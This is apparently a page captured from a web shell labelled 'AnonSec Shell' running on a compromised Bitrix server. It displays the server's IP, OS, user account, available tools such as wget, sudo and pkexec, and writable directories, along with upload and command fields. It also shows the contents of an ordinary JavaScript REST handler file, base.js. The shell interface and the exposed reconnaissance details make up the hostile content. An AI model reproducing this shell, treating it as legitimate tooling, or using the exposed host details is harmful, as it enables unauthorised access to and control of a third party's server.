AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 18.118.137.139
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/js/sale/checkout/provider/rest/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/js/sale/checkout/provider/rest/src/base.js
class BaseRestHandler
{
    static create(params = {})
    {
        return new this(params);
    }

    constructor(params = {})
    {
        if (typeof params.store === 'object' && params.store)
        {
            this.store = params.store;
        }
    }

    execute(command, result, extra = {})
    {
        command = 'handle'+command.split('.').map(element => {
            return element.charAt(0).toUpperCase() + element.slice(1);
        }).join('');

        if (result.error)
        {
            if (typeof this[command+'Error'] === 'function')
            {
                return this[command+'Error'](result.error, extra);
            }
        }
        else
        {
            if (typeof this[command+'Success'] === 'function')
            {
                return this[command+'Success'](result.data, extra);
            }
        }

        return typeof this[command] === 'function'? this[command](result, extra): null;
    }
}

export {BaseRestHandler};

Anon7 - 2022
AnonSec Team